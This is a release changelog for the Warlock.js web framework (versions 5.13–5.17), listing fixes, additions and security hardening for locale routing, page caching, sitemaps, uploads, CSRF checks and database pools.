robots.txtnow covers every locale-prefixed URL under an activeweb.localeRouting.strategy. Before, a rule such asDisallow: /adminleft/ar/admincrawlable, because only the bare path was written. Everyallow/disallowrule that starts with/— other than bare/, and never a rule containing*or$— now also emits its prefixed variant for each prefixed locale code, deduped, next to the original. Strategy"none"(the default) is unchanged. - FixedThe
pageAuthlogin redirect now carries the request's locale prefix under an activeweb.localeRouting.strategy. Before, an anonymous request to/ar/adminredirected to/login?returnUrl=%2Far%2Fadmin—returnUrlcorrectly pointed back at the locale-prefixed page, but the login screen itself dropped the locale. It now redirects to/ar/login?returnUrl=%2Far%2Fadmin. Left unchanged whenauth.pageAuth.loginPathis absolute or already locale-prefixed. (@warlock.js/auth; see its own changelog.) - FixedPage-cache invalidation now always reaches the stored pages. Entries and their tag index used to go through your app's cache
globalPrefix. Apps that derived it from the request (the scaffold usedOrigin) stored pages on GET under one prefix and invalidated them on POST under another, so nothing was evicted. The page cache now uses its ownwarlock.page.<deployment>namespace, with the Host still part of every key. Invalidation from a background job, with no request, works too. - FixedA page loader that returns
notFound()now renders your404.page.tsx, with status 404 and noindex, instead of an empty body. Client navigation to such a URL gets the same page. - FixedA page or layout middleware that already sent its reply (a redirect,
pageAuth,forbidden()) is no longer sent a second time. Before, every guarded redirect logged a false "already-sent" error. - Fixed
changeLocaleCode()and client navigation install the translations that come with the page data. Before, any translation group registered only on the server (every app's auth and validation messages) made the switch abort in development and render raw keys in production. - Fixed
@warlock.js/web/sitemap: corrected the 5.16.0 entry below —warlock buildnever generates the sitemap. Whenweb.sitemapis enabled, generation happens at runtime boot (web.sitemap.regenerate.onBoot) or when the app callsregenerateSitemap(), never at build time. - FixedA detected crawler's inlined deferred value reached
use()as a raw value instead of a promise, so every page reading it threw "An unsupported type was passed to use()" and crawlers got skeletons instead of content. Inline mode now passes an already-fulfilled thenable thatuse()reads synchronously; the key still stays in the hydration payload with its__WARLOCK_DEFER__settlement chunk for JS-capable crawlers. The data-request wire is unaffected. Corrected the 5.12.0web.streaming.crawlersentry below, which claimed crawlers get the resolved document _instead of_ deferred chunks — the settlement scripts are retained for JS hydration; only non-JS indexing needs nothing beyond the inlined HTML. - FixedCrawler documents no longer carry a pending Suspense boundary for deferred sections far down a long page. React outlines a completed boundary (fallback in the HTML, content in a hidden segment swapped in by script) once the page passes about 12.8 KB. Renders that wait for everything to be ready now inline every completed boundary, so non-JS indexers see the content.
- FixedAuthenticated requests never get a public
Cache-Control. A request that used authenticated state (including throughauthMiddlewareon a page or layout) is sentprivate, no-store, even on a route that opted intoconfig.cache.public. - FixedIn production, the
:valueplaceholder in a page-validation issue message now renders…instead of the submitted value, in your translations and in authorerrorMessagetemplates alike. Before, a translation such as the starter'senummessage ("given value :value") put the raw query or param value into the error page and the hydration payload. A custom rule that concatenates raw input into its own message text, without:value, is not covered and stays your responsibility. - FixedIn production, the sitemap is built from the page manifest. Before, a production build could generate it without the pages' own
sitemapexports. - FixedA page's
sitemapexport is stripped from the client bundle in every named-export form, including re-exports (export { x as sitemap } from "…",export { sitemap } from "…"). A bareexport * fromin a page module is refused with a clear error, because its export set can't be checked. - FixedPage
validationmay declare onlyparamsor onlyquery. Before, a page that declared one of them failed every request withunknownKeys. Validation now also runs after the app and layout loaders and before the page loader. A layout redirect still wins, and a validation 400 renders your error page inside layouts that received their data. - FixedIn production, a page validation 400 gives
error.page.tsxa clear message anderror.errorsas{ input, type, error }entries. In production, the:valueplaceholder in page-validation messages renders…instead of the submitted value. A custom rule or translation that builds its message from raw input without:valueisn't covered, so keep submitted values out of custom message text. Other unexpected errors keep the generic message anderrorCode. - FixedLocale URL routing (
web.localeRouting.strategy) now actually reaches the browser in a production build. Before, the browser only ever learned the routing strategy fromvirtual:warlock/pages, resolved at BUILD time — wrong whenever the app config wasn't loaded at build time, or differs per environment — so a production bundle could hydrate with{ strategy: "none" }while the server was actively locale-routing, silently disabling<Link>prefixing andchangeLocaleCode(). The server document now carries the runtime routing table it actually resolved, as a<meta name="warlock-locale-routing">tag rendered by<Head/>; the hydration entry reads it before mount and falls back to the build-time value only when the meta is absent or malformed. - FixedA client (link-click) navigation to a
cache: { serverCache: true }route whose loader callsdefer()no longer throws "An unsupported type was passed to use()" (minified React error #438), with the page's deferred sections (e.g. "Read next", comments) never rendering. AserverCacheroute's JSON data representation never streams — the deferred value is awaited and put on the wire already resolved — but the page component still reads it withuse(), unconditionally. The wire now keeps marking that keydeferredeven though its value is inlined, on both the MISS that stores the entry and every HIT that replays it, and the client wraps the resolved value in an already-fulfilled thenable before handing it to the page — the same tracked shapeuse()reads synchronously that the crawler inline-mode fix (above) introduced for the document. The NDJSON streaming representation is unchanged. - FixedThe client-side scroll-position map (and its
sessionStoragemirror) no longer grows without bound for the life of a tab. Both are now capped at 50 entries with LRU eviction — a save or a restore touches an entry, making it most-recently-used — so a long-lived SPA session (a dashboard or admin tool left open across many client navigations over hours/days) can no longer grow the map, or the JSON blob re-serialized tosessionStorageon every navigation, without limit. An old, uncappedsessionStoragevalue still reads back fine and is trimmed down to the cap on the next save. - FixedA core
@warlock.js/coreHttpError(ResourceNotFoundError,ForbiddenError,BadRequestError,ConflictError, …) thrown in a loader now resolves to its own status instead of a generic 500: a resolved 404 renders your404.page.tsxexactly like a loader's ownnotFound(), and any other 4xx renderserror.page.tsxwith that status and its real message, without reachingweb.errors.report(). A resolved 5xx still gets the generic production message and is still reported. - Fixed
invalidatePageCache()inwarlock devnow actually evicts the page it targets. In dev,@warlock.js/webloads as two separate module graphs — tsx/Node for HTTP routes and installers, Vite's SSR module runner for the page/layout render path — each with its own module registry, so the page cache's memoized driver instance used to be two different in-memory stores: a route'sinvalidatePageCache(["post:1"])evicted the tsx graph's store while the renderer kept reading its own, still-populated one, and the page stayed a HIT until itsttl/maxAgeexpired. The resolved store/driver instance, and the memoized@warlock.js/cacheimport and its one-time in-process-driver warning, now live on aSymbol.for("warlock.web.pageCache...")globalThisslot, the same patternroute-table.tsalready uses forhref(), so every graph resolves the SAME instance. Production, which runs one module graph, is unaffected. - SecurityThe server-side page cache's pre-lookup bypass previously only recognized an
Authorizationheader or the cookie named byauth.cookie.name(defaultaccess_token). An app whose session cookie used a different name (e.g.token) could have a signed-in visitor's render STORED, and the next anonymous visitor's request HIT it, receiving the signed-in visitor's data. Any request whoseCookieheader carries a cookie other than the framework locale cookie or a validated locale-preference cookie now bypasses cache lookup and is never stored, regardless ofauth.cookie.name. The same rule forcesCache-Control: private, no-storeon aconfig.cache.publicroute that has noserverCache, where it previously could bepublic. A malformed or emptyCookieheader (Cookie:,Cookie: ;;;,Cookie: garbage-no-equals) fails closed the same way. Purge any page-cache and CDN entries stored by an earlier version after upgrading — see Upgrading, above. - SecurityReact's own inline scripts — the
$RC/$RSboundary-reveal/segment scripts Fizz streams to swap a completed Suspense boundary's placeholder into place — now carry the request's CSP nonce, on every render path that can stream (the ordinary flush-early path, the crawler/waitForAllpath, and error-document escalation). Before, an app withhttp.csp.enabledand a streaming ordefer()-ing page had these scripts blocked under a strictscript-src 'nonce-...'policy (no'unsafe-inline'), leaving the deferred section's fallback on screen forever instead of being swapped for the real content.
- AddedStandalone
warlock generate.typingsincludes routelocales.jsonkeys, honoring$groupand existing literal translation registrations. The optional Web build helper is resolved from the application's installed package using ESM export conditions, without executing application configuration or the Web root entry. - Added
uploadedFileController, a ready-made handler forrouter.get("/uploads/*", uploadedFileController)that serves local uploads safely. The request path must resolve inside the storage root, symlinks included, and never into the variant cache. Anything else gets the same 404 as a missing file, so the route cannot be used to probe for files. Originals are sent with a one-year cache. - Added
generateImageVariants(relativePath, options?), an opt-in ingest-time counterpart touploadedFileController: call it right after an upload is saved to render every configureduploads.imagesvariant (optionallyoptions.variantsto limit which ones) up front. It shares the route's normalized config, cache key and derivative path, soGET /uploads/<path>?variant=<name>is served from cache on its first request, and its source guards and error statuses match the route. It returns a plain, serializable descriptor ({ src, width, height, variants, formats? }) matching web'sImageDescriptor. - AddedBounded on-demand image variants, configured under
uploads.images:?variant=<name>renders a variant named inuploads.images.variants(width and height from 1 to 8192, quality from 1 to 100,fitofcover,containorinside), and&format=picks an output format from theformatsallowlist (webp,avif). Any other query key, a repeated key, an unknown variant or a format that is not allowed returns 400. Only jpeg, png, webp and avif sources are resized, detected by their magic bytes, never their extension. gif and svg return 415.maxSourceBytes(default 25 MB) andmaxSourcePixels(default 40,000,000) cap the source, and a larger one returns 413. Each derivative is cached on disk under a sha256 of the source path, size, mtime, variant and format, and it is written atomically. Concurrent requests for the same derivative generate it once. It is served withCache-Control: public, max-age=31536000, immutableand an ETag that answers 304. Rewriting the source changes the key, so the next request renders a new derivative. An invaliduploads.imagesconfig throwsImageVariantsConfigErrorthe first time a variant is requested. The variant path needssharp, but originals are served without it. - FixedRequest translation helpers follow the request's current locale; Web can supply its immutable route-scoped resolver for
request.t(),request.trans(), and explicitrequest.transFrom(locale, key, placeholders?). Without that resolver, all retain their global-registry behavior. - FixedLocale preference resolution validates the host-only preference before falling through to the legacy cookie, header, and default.
response.setLocale()clears the preference before writing its authoritative locale cookie. Provisional Web navigation requests do not persist a locale before the browser commits a successful current navigation. - FixedImage variants (
uploadedFileControllerandgenerateImageVariants) no longer enlarge a source smaller than the variant's target width or height. A variant is now rendered with sharp'swithoutEnlargement: trueby default, so a 100px source requested at{ width: 320 }stays 100px wide instead of being upscaled. Opt in per variant withenlarge: trueinImageVariantDefinition(a non-boolean value throwsImageVariantsConfigError); the effective flag is part of the normalized variant and its cache key, so flipping it regenerates the derivative.generateImageVariants' descriptor now reports the actual rendered width and height, read from the derivative it wrote, not the requested size. - Fixed
generateImageVariantsnow throwsImageVariantsConfigError— not a plainError(no storage root) orHttpError(400)(uploads.imagesnot configured) — for both server misconfiguration states, matching how a baduploads.imagesvalue is already reported; input-derived failures (traversal, missing file, bad format, size limits, unknown variant name) still throwHttpError.uploadedFileController's own responses for these requests are unchanged. - Fixed
warlock seed(andwarlock migrate, for data migrations) now preload thestorageconnector, andStorage/ScopedStoragethrow a namedStorageNotInitializedError— pointing atsrc/config/storage.tsand a custom command'spreload.connectors— instead of a bareTypeError: Cannot read properties of null (reading 'name')whenactiveDriveris read before storage has been initialized in the process. - Security
uploadedFileControllerno longer serves an upload original inline unless its bytes sniff as jpeg, png, webp or avif AND its extension names that same image type (.jpg/.jpegfor jpeg,.pngfor png,.webpfor webp,.aviffor avif) — never sniffed bytes alone, and never the extension alone. An inline response always carries the SNIFFED format'sContent-Typeset explicitly, not an extension-derived guess fromsendFile. This closes two stored-XSS holes, sniffed-bytes vs. extension mismatched in each direction: an svg (or any other non-raster file) named.png/.jpgstill downloads instead of rendering as its extension's type, and raster bytes named with a non-image or different-image extension — e.g. jpeg magic bytes saved asx.html— also download instead of being served under that extension's advertised type (text/html, previously inherited fromsendFile). Every other original — svg, html, xml, text, pdf, unknown, any raster/extension mismatch either way — is sent withContent-Disposition: attachment,Content-Security-Policy: sandbox, and its extension-derivedContent-Type, except the svg/html/xml family, which is downgraded toapplication/octet-stream. Every uploads response — originals and variants — now also carriesX-Content-Type-Options: nosniff. - SecurityA default CSRF-Origin guard (card 8a752ab2) now runs at the earliest HTTP seam, before route middleware and any app handler, for every unsafe-method (
POST/PUT/PATCH/DELETE) request that carries aCookieheader naming anything other than the framework locale cookie or a validated locale-preference cookie (a malformedCookieheader counts as carrying one — fails closed). It requiresOrigin— or, absent that,Referer— to name the request's own origin or an entry inauth.csrf.allowedOrigins, rejecting with403otherwise. Before this, that check only ran insideauthMiddleware("cookie:*"), so a cookie-authenticated write reached through any other path (e.g. an app-owned optional-auth pattern reading its owntokencookie) was never checked. A header-only API request (noCookieheader, e.g.Authorization: Bearer) is unaffected, and a route can opt out with{ csrf: false }(RouteOptions.csrf) — documented as dangerous, for third-party callbacks and machine-to-machine routes only.
- Added
pnpm typecheck:templaterunstsc --noEmitontemplates/warlock/src/against this checkout's own@warlock.js/*source (viatsconfig.template-check.json), catching a template import that no longer exists in the framework — the class of bug that let a removed-but-still-used import pass all 291 tests. Enforced on every run byspecs/template-typecheck.spec.ts, complementing the slower registry-installtypecheck:scaffoldgate. - AddedThe scaffolded
src/config/http.tsnow setstrustProxy: falseexplicitly, with a comment on when/how to enable it behind a proxy or load balancer, and ships a commented-out, nonce-basedcspstarter block so both are discoverable instead of silently absent. - ChangedWeb scaffold pages use the 5.17
configexport withPageConfig, keeping loaders and components as separate exports. New apps depend on@mongez/localization:^3.5.0for scoped route translations. - ChangedNew Web scaffolds set
strictMode: trueinsrc/web/root.tsx'sRootConfig, so the hydrated page, layout, and navigation tree receives React's development Strict Mode checks. Existing applications keep the framework default offalseuntil they opt in. - ChangedThe CLI's source formatting check is part of
test. Interactive project naming and preset selection preserve the entered name when Customize advances to package-manager selection. - FixedThe scaffolded
src/config/cache.tsnamespaced every cache key byrequest.originDomain || request.header("domain") || request.input("domain"). A browser GET carries noOriginwhile a CSRF-protected POST does, so the same visitor resolved two different prefixes and a write could never invalidate what a read had cached — repository caches and page-cache tags went silently stale (verified live on a real app). None of those three inputs are server-validated either, so any visitor could pick?domain=anythingor adomainheader to land in an arbitrary namespace and grow the in-memory store without bound.globalPrefixis now a fixed, app-owned string derived fromAPP_NAME, with no request data read at all. Existing projects should apply the same change tosrc/config/cache.ts: - SecurityBREAKING: the scaffolded
GET /uploads/*route resized images to any?w=&h=a client sent. This was a denial-of-service vector, because every new size forced a full decode and resize and nothing was cached. The route also resolved the path without a containment check. The generatedsrc/app/uploads/controllers/fetch-uploaded-file.controller.tsis gone.src/app/uploads/routes.tsnow mounts core'suploadedFileController, which keeps the request inside the storage root and only renders the named variants the app declares.?w=and?h=now return 400. Existing projects should apply the same change:
- ChangedCache misses and expiries log at
infoinstead ofwarn. A cache miss or expiry is normal behaviour, not a warning. - Fixed
cache.tags([...]).invalidate()now deletes the tagged entries when aglobalPrefixis configured, whether static ("store") or a function. Before, the tag index stored each key with the prefix already applied, and invalidation passed that key back throughremove(), which applied the prefix a second time. So it dropped the tag index but deleted none of the tagged entries, and reads stayed stale until TTL. Every scaffolded app sets aglobalPrefix. The tag index now stores the un-prefixed key in all of these paths:tags().set(), inlineset(key, value, { tags }),tags().remove(), the scopedcache.namespace(...).tags(...)handle (includingsetNX), and thesimilar()tag filter.remove()applies the prefix exactly once, on every driver. With a function prefix, invalidation uses the prefix that is current when it runs, which is the same prefix the tag index itself is read under. The two therefore agree as long as the prefix is stable for a given app or tenant. - Fixed
MemoryCacheDriver.similar()returned no results whenever aglobalPrefixwas set, because it read each stored, already-prefixed key back throughget(), which prefixed it again. It now reads entries by their stored key. - FixedUpgrade note: entries tagged before this upgrade are indexed under the old, already-prefixed form, so invalidation still can't reach them. Their tag index is dropped on the first
invalidate(), which leaves those entries orphaned. They expire by their TTL, orflush()clears them right away.
- FixedThe
pageAuthlogin redirect now carries the request's locale prefix when@warlock.js/web'sweb.localeRouting.strategyis active. Before, an anonymous request to a locale-prefixed page (e.g./ar/admin) always redirected to the bareauth.pageAuth.loginPath(e.g./login?returnUrl=%2Far%2Fadmin), dropping the locale even thoughreturnUrlkept it. It now redirects to the locale-prefixed login path (/ar/login?returnUrl=%2Far%2Fadmin) — readingweb.localeRouting.strategy/app.localeCodes/app.localeCodefrom config directly (authhas no dependency onweb, in either direction). Left unchanged whenloginPathis absolute (http…) or already locale-prefixed. - SecurityThe CSRF Origin/Referer check
authMiddleware("cookie:*")runs (assertCsrfOriginAllowed) now delegates its same-origin/auth.csrf.allowedOriginscomparison to@warlock.js/core'sresolveCsrfOriginVerdict, shared with core's new default CSRF-Origin guard (card 8a752ab2, see@warlock.js/core's 5.17.0 changelog) so the two checks can never drift apart. Behaviour is unchanged for routes already usingauthMiddleware("cookie:*").
- Fixed
where(field, undefined)/where(field, operator, undefined)/where({ field: undefined })(and theorWhereequivalents, on both the Postgres and MongoDB query builders) now throwUndefinedWhereValueErrorinstead of silently reaching the driver. A boundundefinedused to bind as= NULL(SQL) / "field missing" (MongoDB) — a comparison that never matches but never fails either, hiding call sites that forgot to guard a value that turned out to be missing (card 62e0e781: a blog author lookup ranUser.find(post.authorId)with an undefined id under load). Passnullto match NULL explicitly; guard the call site to skip the query when there's no value. - FixedPostgres pool leaks (card ba1193b4):
beginTransaction()now releases its client on every path, including whenBEGIN,COMMITorROLLBACKthrows. A failedCOMMIT/ROLLBACKdiscards the client (release(error)) instead of recycling one left in an unknown transaction state, andtransaction()no longer issuesROLLBACKafter a failedCOMMIT. The pool also gets anerrorlistener (an idle client dropped by the server no longer crashes the process),keepAlive, and a 10s connect timeout.
- AddedGranular
@warlock.js/seal/objectand@warlock.js/seal/stringentry points with theobjectandstringfactories for schemas that do not need the completevfactory. - Added
redactValueoption onv.validate(schema, data, options): when set, the:valueplaceholder renders that string instead of the submitted input, both in the attributes handed totranslateRuleand in authorerrorMessagetemplates. It does not cover a custom rule that concatenates raw input into its own message text. Unset keeps the current behaviour. Per-call options replace the global config, so pass{ ...getSealConfig(), redactValue }to keep your translators.
5.16.0September 18, 2026
@warlock.js/sitemap is now framework-blind (BREAKING): the 5.15 connector API is removed in favour of the Sitemap builder (new Sitemap({ baseUrl }), toXML(), atomic saveTo() and publishTo()) and a new SitemapIndex that streams size-capped shards behind a master index and publishes the whole directory atomically. Warlock web apps get sitemap.xml and robots.txt from the new @warlock.js/web/sitemap subpath, configured under web.sitemap and web.robots in src/config/web.ts, with pages controlling their own listing through export const sitemap. BREAKING (@warlock.js/web): in production an unexpected page error no longer sends its message to the browser; throw PublicPageError for messages visitors should see. Web also adds a default client error boundary, loader signal that aborts on client disconnect, and pageCache.maxEntryBytes. @warlock.js/auth adds GitHub, Discord, LinkedIn, Apple (form_post), Facebook and X login providers, and @warlock.js/core now parses urlencoded request bodies and lets response.xml() send anything with a toXML() method.
Full release notes or run npx warlock release-notes.
- Added
SitemapIndex: streams entries into size-capped shards plus a master index, and optionally writes.xml.gzfiles. It publishes the whole output directory atomically and marks it with.sitemap-set.json. - Added
Sitemap.publishTo(outDir, fileName?), andsaveTo()now writes atomically (temp file, then rename, with retries on WindowsEPERM/EBUSY). - Added
UnownedOutputDirectoryError: publishing refuses to replace a non-empty directory that lacks the ownership marker. - ChangedBREAKING: the package no longer depends on any framework. The connector API is removed:
sitemapConnector(),collectSitemapEntries(), theSitemapConfigconfig module,MissingPublicUrlError,NoPageRegistryErrorandRoutablePage. Use theSitemapbuilder class instead (new Sitemap({ baseUrl }),add/addMany/declareRoute,toXML/saveTo). Warlock apps configureweb.sitemapin@warlock.js/webinstead. - Changed
baseUrlis validated in the constructor (InvalidBaseUrlError). Entries are keyed by path, andduplicates()reports every collision. - ChangedDropped the
@warlock.js/coreand@warlock.js/webdependencies.
- Added
@warlock.js/web/sitemap:sitemap.xmlandrobots.txtfor web apps. Configure them underweb.sitemapandweb.robotsinsrc/config/web.ts. Pages control their own listing withexport const sitemap(false, static options, or a function that supplies URLs for dynamic routes). Locales expand into hreflang alternates, and web switches to a shardedSitemapIndexabove 50,000 URLs. The sitemap is generated at runtime boot (web.sitemap.regenerate.onBoot) or when the app callsregenerateSitemap()— never atwarlock buildand never while serving a request. See 5.17.0. - AddedWeb now wraps every page in a default client error boundary. A rejected
defer()value with no app boundary renders the app's error page, or a built-in fallback, instead of unmounting the tree. The boundary resets on every navigation, refresh and locale change. - Added
PublicPageError: throw it, or reject a deferred value with it, when itsmessageis meant for visitors. In production, only aPublicPageErrormessage reaches the browser. - AddedLoaders receive
signal, anAbortSignalthat fires when the client disconnects. - AddedDevelopment only: during client navigation, web checks that a page's translations were registered by
register()before anything renders. - Added
pageCache.maxEntryBytes(default 1 MiB): a cache miss larger than this is still served in full but is not cached. - ChangedBREAKING (production error disclosure): in production, an unexpected page error no longer sends its
messageto the browser. The browser gets a generic message plus anerrorCodethat matches the server's error report, andstackis never sent. ThrowPublicPageErrorfor messages visitors should see. - FixedA client disconnect now aborts SSR, NDJSON navigation streams and loader work, and stream errors no longer escape as uncaught exceptions. A refresh or locale change aborts the fetches it supersedes.
- FixedDeferred values are scoped per navigation, so late chunks from an abandoned navigation can no longer settle the active page. Finished scopes are released from memory.
- FixedSSR and client navigation now fall back the same way for missing metadata fields.
- FixedThe dev client page registry keeps a custom
appSrcRoot. - FixedIn development, page discovery for unmatched requests is cached until a page file changes.
- FixedProduction hashed assets (
/assets/*.js,.css, …) are now served precompressed instead of raw:warlock buildwrites.br/.gzsiblings for eligible text assets ≥1KB, andwarlock startnegotiatesAccept-Encoding(brotli, then gzip, then identity) via@fastify/static'spreCompressedoption, withVary: Accept-Encodingon every response.
- AddedSix new login providers: GitHub, Discord, LinkedIn, Apple, Facebook and X, configured under
auth.providers.<name>and used throughstartProviderLogin/completeProviderLogin. Apple and LinkedIn verify their id_token withjose. The other four use plain OAuth 2. - Added
AuthProvider.callbackMode("query"|"form_post"). Apple usesform_post, so its state cookie is written withSameSite=None; Secure(HTTPS required). Query-mode providers keepSameSite=Lax. - FixedProvider names now resolve only from
auth.providers' own keys, so a name inherited from the object prototype, such astoString, is never treated as a provider. - FixedThe Set-Cookie that clears the provider state cookie now repeats the attributes the cookie was written with.
- AddedCore now parses
application/x-www-form-urlencodedrequest bodies, so plain HTML forms and OAuthform_postcallbacks (Apple) reach their routes instead of failing withFST_ERR_CTP_INVALID_MEDIA_TYPE. These bodies have the samehttp.bodyLimitas JSON. A key sent more than once becomes an array. - Added
response.xml()accepts a raw string or any value with atoXML(): stringmethod (such as a@warlock.js/sitemapSitemap), and sendsapplication/xml. - Changed
warlock add sitemapnow merges a disabledsitemapsection intosrc/config/web.ts, and creates that file when it is missing. It no longer writessrc/config/sitemap.tsor registerssitemapConnector(). The merge edits only asitemapkey directly on the exported config object, and the result is re-parsed before it is written.
- FixedSkill code samples are now self-contained and type-check as written.
- FixedThe failed-jobs dashboard skill sample now includes the connection config and the
authMiddlewareimport.
5.15.0September 18, 2026
New package: @warlock.js/sitemap — the thirtieth family member, and the first added since the family settled. Runtime sitemap.xml generation from the page registry, installed with warlock add sitemap, with zero runtime dependencies. It is usable three ways: standalone in any Node app, in an API-only Warlock app through sitemapConnector({ entries }), and in a Warlock web app from the page registry. A dynamic route that cannot be enumerated is omitted and named in a development diagnostic rather than silently dropped, and an enabled sitemap with no configured origin refuses to boot instead of serving absolute URLs built from a guessed host. Two silent failures are fixed in @warlock.js/web and @warlock.js/core: useTrans() returned the raw key after hydration — server HTML was correct, the post-hydration DOM was not, and the translated value never reached dist/client at all — so the hydration payload gains a seventh required key, translations, carrying only the active locale; and request.cookie() now throws CookieJarUnavailableError when @fastify/cookie is absent instead of returning undefined, which was indistinguishable from "no such cookie" and surfaced as a permanent unexplained 401. @warlock.js/core adds app.publicUrl with a PUBLIC_APP_URL fallback. BREAKING: @warlock.js/queue/notifications is removed (deprecated in 5.14 — use bullmqQueue() from @warlock.js/notifications), and listRoutablePages moved to the @warlock.js/web/build subpath. @warlock.js/cache finally declares a test script, so its 525 tests run in the release gate for the first time. Generator matrix ran subset scope (baseline, web, sitemap, queue, bull-board rows) against the staged candidate, authorised by Hasan on 2026-09-18: "You could run the matrix if you feel it is important to this release".
Full release notes or run npx warlock release-notes.
- AddedNew package: runtime
sitemap.xmlgeneration. Walks the page registry at runtime, applies the framework's exclusion rules (not-found route, error page,metadata.robots: noindex,sitemap: false), collects the entries a page'ssitemapexport returns, and reports — in development — any dynamic route left with nositemapexport so it is never silently dropped from the generated XML. - AddedZero runtime dependencies, in the same spirit as
@warlock.js/fs: XML serialization is string-building plus escaping, and needs no library. - AddedUsable in three ways: standalone in any Node app (
collectSitemapEntries+buildSitemapXml, no Warlock at all), in an API-only Warlock app viasitemapConnector({ entries }), and in a Warlock web app from the page registry.@warlock.js/coreand@warlock.js/webare optional peers — everything exceptsitemapConnector()imports nothing from either, and the connector reaches them only through a lazyimport(). - Added
sitemapConnector({ entries })merges app-supplied entries with page-derived ones, deduplicated by path with the app-supplied entry winning. With neither source available the connector refuses to boot (NoPageRegistryError) instead of serving an empty<urlset>that looks correct.
- Added
warlock add sitemapinstalls@warlock.js/sitemap, writessrc/config/sitemap.ts, and registerssitemapConnector()inwarlock.config.ts. The generated config ships disabled: a sitemap needs the application public origin and a generated app cannot know it, so the block explains the two steps to turn it on rather than producing an app that refuses to boot. - Added
app.publicUrlconfig key, with aPUBLIC_APP_URLenvironment fallback: the one absolute-URL source for every consumer that needs an origin. It never falls back to a request-derived host — an absolute URL built from the wrong host is worse than a boot that refuses to start, because nothing downstream reports it. - ChangedBREAKING (fail-loud):
request.cookie(name)andrequest.hasCookie(name)now throwCookieJarUnavailableErrorwhen@fastify/cookieis not registered on the Fastify instance, instead of returningundefined/false. An unregistered plugin is a configuration fault, and it was previously indistinguishable from "the caller sent no such cookie" — underauthMiddleware([], "cookie:token")it surfaced as a permanent, unexplained 401. Apps built oncreateHttpApplicationare unaffected: core registers the plugin before anything mounts. The exposure is a host that mounts a guarded surface on its own Fastify instance.request.cookiesstays lenient and still returns{}, so the framework's own opportunistic reads — locale resolution among them — are unchanged.
- ChangedBREAKING:
listRoutablePagesis exported from@warlock.js/web/build, not the root barrel. It reaches the filesystem-walking page discovery, and on the root barrel that module joined the import graph of every page importing@warlock.js/web— a generated app answered 500 on every route in dev. A boundary spec now fails if the root barrel reachessrc/build/**. - ChangedThe hydration payload carries a seventh required key,
translations, holding only the active locale's entries — never every locale. - Fixed
useTrans()no longer silently returns the raw key after hydration. The active locale's translations now ride in the hydration payload and register on the client beforehydrateRoot, so a translated string survives hydration instead of being reconciled away. Server-rendered HTML was always correct, which is what made this invisible.
- AddedThe feature picker offers Sitemap — runtime
sitemap.xmlgeneration from the page registry. - AddedThe feature picker offers Bull Board, the queue dashboard.
warlock add bull-boardshipped in 5.14 but the scaffolder never offered it, so a new app could not select it at creation time.
- FixedThis package declares a
testscript, so its 23 spec files and 525 tests actually run in the release gate. They existed and passed, but with no script to invoke them the gate reportedSKIPPED (no "test" script)on every release and nothing here was ever checked before publishing.
- RemovedThe integration spec covering the deprecated
@warlock.js/queue/notificationsdispatcher, which was removed from@warlock.js/queuein this release.bullmqQueue()is the supported path and keeps its own coverage.
- FixedThe dashboard guard now ends the request explicitly when a middleware short-circuits, instead of leaving it to Fastify noticing the reply was already sent. The adapter has always returned a "handled" boolean for this; the hook discarded it, so whether an unauthenticated caller reached the dashboard depended on write ordering — a guard answering asynchronously could lose that race.
5.14.0September 17, 2026
@warlock.js/web renames the hydration mount from #root to #vessel (BREAKING) — #root collided with embeds and third-party widgets — and hardens the client-build secret scan to refuse EVERY reference to the global process, aliases included (BREAKING for typeof process feature detection). Dev SSR now externalises every installed @warlock.js/* package by rule instead of a hand-maintained list, closing the dual-module-instance class that split framework singletons. A cached page sends one Vary value on both its HTML and data representations. @warlock.js/queue gains a config-driven bull-board dashboard (warlock add bull-board) that refuses to mount unguarded in production, and find(id) no longer returns a finished job with a null result. @warlock.js/notifications takes over the BullMQ integration as bullmqQueue(), a lazy optional-peer driver; @warlock.js/queue/notifications is deprecated for one release. @warlock.js/core adds middleware.cache({ tags }) so invalidateTags() clears cached API responses, verifies the esbuild native binary before warlock dev starts, and fixes a devServer.timings watcher phase that always reported 0ms. Generator matrix ran subset scope (baseline, web, queue, bull-board, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-17: "Go ahead plz".
Full release notes or run npx warlock release-notes.
- ChangedBREAKING: the hydration mount is
<div id="vessel">(was#root), which no longer collides with embeds and widgets. Update customroot.tsxfiles and any#rootCSS or tests; hydration errors name the rename when#rootis found. - ChangedDev SSR externalises every installed
@warlock.js/*package (derived, not a hand list), so no family package can load twice and split its state. - FixedA local variable or parameter named
processin client code is no longer falsely refused. - FixedCached pages send one
Varyvalue on both HTML and data responses: HTML now varies onx-warlock-data, and deferred pages keepVary: User-Agent. - FixedThe typed translation-key guard now actually runs as part of
typecheck. - SecurityBREAKING: the client-build secret scan refuses every reference to the global
process, including aliased forms (const p = globalThis.process,const { env } = process,window.process). Useimport.meta.envinstead oftypeof processchecks.
- Added
dashboard: { enabled, path, middleware }insrc/config/queue.ts: the queue connector mounts Bull Board at boot, guarded by the given middleware. - Added
QueueDashboardUnguardedError: in production the dashboard refuses to mount without guard middleware, since it can retry and delete jobs. - Added
queueDashboard()accepts amiddlewareoption. - FixedThe connector registers the queue config when it mounts the dashboard at boot, so an app whose only queue usage is the dashboard no longer fails to start with
QueueNotConfiguredError. - Fixed
find(id)no longer returns a completed job withresult: nullandattemptsMade: 0when the job finishes mid-read. - Deprecated
@warlock.js/queue/notifications(queueNotificationDispatcher): usebullmqQueue()from@warlock.js/notifications. It still works in 5.14, warns once, and is removed in the next release.
- Added
bullmqQueue({ queue, attempts, backoff }): a BullMQ-backed.queue()driver that lazy-loads@warlock.js/queue(optional peer); a missing package throwsQueuePackageNotInstalledErrornamingwarlock add queue.
- Added
warlock add bull-boardinstalls the Bull Board packages and writes adashboardblock tosrc/config/queue.ts; it adds the queue feature first when it is missing. The generated block enables the dashboard outside production only, since an unguarded dashboard refuses to mount in production. - Added
middleware.cache({ tags }): cached API responses can be tagged and are evicted bycache.tags([...]).invalidate(), like cached pages. - Fixed
warlock devchecks esbuild's native binary before starting and fails withEsbuildBinaryMissingErrornaming the fix (warlock buildalready did). - Fixed
devServer.timings: thewatcherphase always reported 0ms on Windows and Linux; it now measures the real settle time. - Fixed
warlock addwrites connector arrays formatted like Prettier ([queueConnector(), webConnector()]), including empty and multi-line arrays.
- ChangedBREAKING: the web starter's
src/web/root.tsxrenders the hydration mount as<div id="vessel">(was#root).
5.13.0September 17, 2026
